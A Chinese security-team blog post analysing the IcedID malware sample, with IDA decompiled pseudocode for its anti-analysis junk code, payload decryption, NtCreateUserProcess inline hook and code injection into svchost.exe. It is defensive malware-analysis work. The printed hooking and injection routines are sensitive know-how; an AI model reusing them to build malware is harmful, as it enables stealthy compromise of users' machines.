ICEID恶意软件分析

百家 作者:Chamd5安全团队 2022-08-17 09:33:38

前几天查看MalwareBazaar恶意软件排名第一的恶意软件,发现当天最高的是ICEID。进一步搜索发现,该病毒在4月份活跃过。于是去app.any.run上面寻找了样本,学习一下

初步静态分析

32位GUI程序,并且会使用-q=569957503执行自身

IDA加载一下,发现wWinMain有很多干扰动态分析的代码

if ( v17 == 0x23C91B )
  {
    FindNextFileW(0, &FindFileData);
    EndUpdateResourceA(00);
    DeleteFileA(0);
    TransparentBlt(00000000000);
    sprintf(Buffer, "%s %c""howejaxi koxa"87);
    v14 = 0;
    v15 = 0;
    v16 = 0;
    wprintf(L"bexovecisukamopebe busacegunategi");
    fopen(00);
    sub_416094((int)&v14);
  }
  for ( i = 0; ; ++i )
  {
    GetTickCount();
    if ( i > 826999 )
      break;
  }
  hModule = LoadLibraryW(L"kernel32.dll");
  v5 = 0;
  while ( 1 )
  {
    LastError = GetLastError();
    if ( v5 > 15076057 && (_BYTE)v15 != 105 && v18 != 377720291 && LastError == 346 )
      break;
    if ( ++v5 >= 239749941 )
      goto LABEL_15;
  }

例如:打开不存在的文件,删除不存在的文件,进行无用分支判断,拖延时间等

然后获取了某些Windows API的地址

do
  {
    if ( v8 == (char *)&unk_516C56 )
      v7 = dword_441410;
    ++v8;
  }
  while ( (int)v8 < (int)&unk_55BD1C );
  dwBytes = v7 + 407737;
  dword_BE1460 = (int (*)(void))GlobalAlloc(0, v7 + 407737);
  GlobalAlloc(0, dwBytes);
  v9 = dword_441404;
  v10 = 0;
  dword_BE1464 = dword_441404;
  if ( dwBytes )
  {
    while ( 1 )
    {
      *((_BYTE *)dword_BE1460 + v10) = *(_BYTE *)(v9 + v10 + 0x638B9);
      if ( ++v10 >= dwBytes )
        break;
      v9 = dword_BE1464;
    }
  }
  sub_4150D4(&dword_BE1460, &dwBytes);
  *(_DWORD *)Buffer = 'triV';
  dword_442A64 = (int)&unk_6C6175;
  v11 = &Buffer[strlen(Buffer)];
  v13 = hModule;
  *(_DWORD *)v11 = 'torP';
  *((_DWORD *)v11 + 1) = &unk_746365;
  VirtProt = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(v13, Buffer);
  ((void (*)(void))sub_415C93)();
  sub_415B7A(&unk_441000);
  dword_BE1460 = (int (*)(void))((char *)dword_BE1460 + 1060);
  sub_415CAE();

其中有一个似乎是VirtualProtect的的地址,并且sub_415C93调用了VirtualProtect。所以有可能有代码解密行为

具体获取还要看动态分析

初步动态分析

在GetProcAddress下断点,确实是获取了VirtualProtect的地址

然后将Alloc申请的区域变为可执行

其中sub_415D04向申请的区域存储了一些数据,sub_415B7A进行了一个解密

void __usercall sub_415A62(int a1@<edx>, int a2@<ecx>, unsigned int a3@<ebx>)
{
  int i; // esi

  for ( i = 0; i < a1; qword_BE6CF8 = 0xFFFFFFFFFC7352EEui64 )
  {
    *(_BYTE *)(i + a2) ^= sub_4159CC();
    if ( a1 == 1609 )
    {
      a3 = 293915114;
      dword_BE6D00 = 0;
      dword_BE6D04 = 0;
    }
    dword_BE6D08 = 0xAA6D9B4E;
    a3 = a3 >> 9 << 24;
    ++i;
  }
}

sub_415CAE调用了IPAddress中的代码

依然是代码解密,最后到一个长jmp

这里就跳转到真实入口

DUMP此时的程序,跟踪一下

IDA打开,手动修复一下IAT表,得到start函数

payload分析

void __cdecl __noreturn start()
{
  const CHAR *CommandLineA; // esi
  int v1; // esi

  CommandLineA = (const CHAR *)getCommandLineA();
  if ( sub_401140(CommandLineA) )
  {
    sub_40124A();
  }
  else if ( sub_4013CF(CommandLineA) )
  {
    v1 = sub_4011BE();
    if ( v1 )
    {
      Sleep_0(0x3E8u);
      sub_4012E9(v1);
    }
  }
  ExitProcess_0(0);
}

首先判断了一下命令行参数,

sub_401140

PSTR __cdecl sub_401140(const CHAR *a1)
{
  PSTR result; // eax
  int v2; // eax
  PSTR v3; // esi
  DWORD EnvironmentVariableA; // edi
  CHAR Name[32]; // [esp+0h] [ebp-20h] BYREF

  result = StrStrA(a1, "-q=");
  if ( result )
  {
    v2 = StrToIntA(result + 3);
    wsprintfA(Name, "%u", v2);
    result = (PSTR)sub_401E01(2280);
    v3 = result;
    if ( result )
    {
      EnvironmentVariableA = GetEnvironmentVariableA(Name, result, 0x8E8u);
      if ( EnvironmentVariableA )
        EnvironmentVariableA = j_hex2int((int)v3, 1108, &dword_403000);
      sub_401E3D((int)v3);
      return (PSTR)EnvironmentVariableA;
    }
  }
  return result;
}

-q=后面的字符串转化成数字,实际上就是判断有没有-q=这个参数,并且参数是数字

如果没有q=

int __cdecl sub_4013CF(const CHAR *a1)
{
  PSTR v1; // eax
  int result; // eax

  v1 = StrStrIA(a1, " /p=");
  if ( v1 )
    dword_403450 = StrToIntA(v1 + 4);
  result = sub_401470();
  if ( result )
  {
    sub_4015A9();
    GetModuleFileNameW_0(0, (LPWSTR)&dword_403144, 0x104u);
    sub_401E15((int)dword_403350, (char *)dword_404098, 256);
    return 1;
  }
  return result;
}

尝试获取文件名,如果获取成功就返回1

sub_4011BE

int sub_4011BE()
{
  int result; // eax
  int v1; // edx
  _BYTE *v2; // ecx
  unsigned int i; // esi
  int v4; // eax

  result = sub_401E01(2218);
  v1 = result;
  if ( result )
  {
    v2 = (_BYTE *)result;
    for ( i = 0; i < 0x454; ++i )
    {
      *v2 = byte_404070[*((unsigned __int8 *)&dword_403000 + i) >> 4];
      v2 += 2;
      v4 = *((_BYTE *)&dword_403000 + i) & 0xF;
      *(v2 - 1) = byte_404070[v4];
    }
    *v2 = 0;
    return v1;
  }
  return result;
}

构造了一个文件名

很长的奇怪数字0100000000000000302B557700000000702D557700000000D02E557700000000F029557700000000C0DD52770000000040B850770000000020D6537700000000503655770000000020A75B77000000005038557700000000B818000000BAB83A000000BAB850000000BAB804000D00BA8BFF558BEC838BFF558BECFF8BFF558BEC83B8C8000000BA8BFF558BEC0FB8E8000C00BA00000000010000000000000060D08492F87F0000A0D48492F87F000060D78492F87F0000E0CD8492F87F0000106A7C92F87F0000C01A8392F87F000080D98092F87F000050E68492F87F000020568A92F87F000050EA8492F87F00004C8BD1B818004C8BD1B83A004

BOOL __cdecl sub_4012E9(const CHAR *a1)
{
  unsigned __int64 v1; // rax
  const CHAR *CommandLineA; // eax
  CHAR CommandLine[260]; // [esp+Ch] [ebp-168h] BYREF
  struct _STARTUPINFOA StartupInfo; // [esp+110h] [ebp-64h] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+154h] [ebp-20h] BYREF
  CHAR Name[16]; // [esp+164h] [ebp-10h] BYREF

  v1 = __rdtsc();
  wsprintfA(Name, "%u", (_DWORD)v1);
  CommandLineA = (const CHAR *)getCommandLineA();
  lstrcpyA(CommandLine, CommandLineA);
  lstrcatA(CommandLine, " -q=");
  lstrcatA(CommandLine, Name);
  sub_40200C(&StartupInfo, 068);
  StartupInfo.cb = 68;
  memset(&ProcessInformation, 0sizeof(ProcessInformation));
  SetEnvironmentVariableA(Name, a1);
  return CreateProcessA(0, CommandLine, 000000, &StartupInfo, &ProcessInformation);
}

最后睡一觉后在sub_401E3D中创建一个进程,奇怪数字作为环境变量(这个可以干扰分析吗)

如果有q=

int sub_40124A()
{
  int result; // eax
  CHAR PathName[260]; // [esp+4h] [ebp-178h] BYREF
  struct _STARTUPINFOA StartupInfo; // [esp+108h] [ebp-74h] BYREF
  CHAR String2[32]; // [esp+14Ch] [ebp-30h] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+16Ch] [ebp-10h] BYREF

  cpy_svchost(String2);
  result = sub_401D08(NtCreateUserProcess, (int)sub_4010B7);
  if ( result )
  {
    SetSystemDirectoryA(PathName, 260);
    sub_40200C(&StartupInfo, 068);
    memset(&ProcessInformation, 0sizeof(ProcessInformation));
    SetCurrentDirectoryA(PathName);
    lstrcatA(PathName, String2);
    StartupInfo.cb = 68;
    return CreateProcessA(0, PathName, 000000, &StartupInfo, &ProcessInformation);
  }
  return result;
}

首先复制一个字符串

然后进行了一个inline hook,让NtCreateUserProcess首先跳转到sub_4010B7

int __cdecl sub_401D08(int a1, int a2)
{
  int result; // eax
  int v3; // edi
  int v4; // [esp+8h] [ebp-4h] BYREF

  result = sub_401761(-1, a1, 564, &v4);
  v3 = result;
  if ( result )
  {
    *(_BYTE *)a1 = -23;
    *(_DWORD *)(a1 + 1) = a2 - a1 - 5;
    sub_401761(-1, a1, 5, v4, &v4);
    return v3;
  }
  return result;
}

sub_401761中调用了ZwProtectVirtualMemory修改内存属性

在下面的创建进程CreateProcessA中,CreateProcess首先会调用NtCreateUserProcess,从而调用sub_4010B7

int __thiscall sub_4010B7(
        void *this,
        _DWORD *a2,
        int a3,
        int a4,
        int a5,
        int a6,
        int a7,
        int a8,
        int a9,
        int a10,
        int a11,
        int a12)

{
  int result; // eax
  void *v13; // [esp+0h] [ebp-4h] BYREF

  v13 = this;
  if ( !sub_401DB6((int)NtCreateUserProcess, (int)&word_403082) )
    return 0xC0000001;
  result = NtCreateUserProcess(a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
  if ( !result )
  {
    if ( sub_40138E(&a12, &v13) )
      return sub_4017A5(*a2, a12) != 0 ? 0 : 0xC0000001;
    else
      return -1073741823;
  }
  return result;
}

首先unhook,调用原NtCreateUserProcess,然后在sub_40138E中进行一个代码解压,sub_4017A5中将代码注入到svchost.exe

int __cdecl sub_4017A5(int a1, int a2)
{
  int v2; // esi
  int v3; // ebp
  _DWORD *v4; // eax
  int v6; // [esp+Ch] [ebp-10h] BYREF
  int v7; // [esp+10h] [ebp-Ch]
  int v8; // [esp+14h] [ebp-8h]
  int v9; // [esp+18h] [ebp-4h]

  v2 = 0;
  v6 = a1;
  v7 = 0;
  v8 = 0;
  v9 = a2;
  v3 = NtAllocateVirtualMemory(a1, 844);
  if ( v3 )
  {
    v2 = NtAllocateVirtualMemory_0(&v6);
    if ( !v2
      || (v4 = (_DWORD *)(v7 + *(_DWORD *)(v9 + 16))) != 0
      && ((*v4 = v3, (v2 = sub_4019A9(&v6)) == 0)
       || (v2 = sub_401D54(a1, 0, v8 + *(_DWORD *)(v9 + 12))) == 0
       || (v2 = ZwWriteVirtualMemory(a1, v3, &dword_403000, 1108)) == 0) )
    {
      GetLastError_0();
    }
    if ( v7 )
      sub_401E3D(v7);
  }
  else
  {
    GetLastError_0();
  }
  return v2;
}

sub_4019A9中执行代码注入

int __cdecl sub_4019A9(int *a1)
{
  int *v1; // esi
  int result; // eax
  unsigned int v3; // edi
  int v4; // ebx

  v1 = a1;
  result = ZwWriteVirtualMemory(*a1, a1[2], a1[1], *(_DWORD *)(a1[3] + 8));
  if ( result )
  {
    v3 = 0;
    if ( *(_DWORD *)(v1[3] + 32) )
    {
      v4 = 0;
      do
      {
        NtProtectVirtualMemory(
          *v1,
          v1[2] + *(_DWORD *)(v4 + v1[3] + 36),
          *(_DWORD *)(v4 + v1[3] + 40),
          *(unsigned __int8 *)(v4 + v1[3] + 52),
          (int)&a1);
        v4 += 17;
        ++v3;
      }
      while ( v3 < *(_DWORD *)(v1[3] + 32) );
    }
    return 1;
  }
  return result;
}

sub_401D54 hook了RtlExitUserProcess

BOOL __cdecl sub_401D54(int a1, int a2, int a3)
{
  BOOL result; // eax
  int v4; // esi
  char v5; // [esp+0h] [ebp-Ch] BYREF
  int v6; // [esp+1h] [ebp-Bh]
  int v7; // [esp+8h] [ebp-4h] BYREF

  result = NtProtectVirtualMemory(a1, a2, 54, (int)&v7);
  if ( result )
  {
    v5 = -23;
    v6 = a3 - a2 - 5;
    v4 = ZwWriteVirtualMemory(a1, a2, &v5, 5);
    NtProtectVirtualMemory(a1, a2, 5, v7, (int)&v7);
    return v4;
  }
  return result;
}

注入svchost的代码分析

由于在Win10虚拟机分析时导致内存错误,这里只根据参考资料概述行为

注入主要有两处,一处是位于data段的系统API和加密后的C2服务器

从C2服务器获取payload,并且通过特定的算法生成RC4密钥加密数据。通过多线程协作执行和C2服务器交互等功能,并且依然进行了几次内存注入。

总结

该病毒采用了多种反调试/反分析方法,例如代码加密、进程注入等。分析过程较为复杂。

参考

[1] https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-one

[2] https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-two

[3] https://www.fortinet.com/blog/threat-research/deep-dive-icedid-malware-analysis-of-child-processes


end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接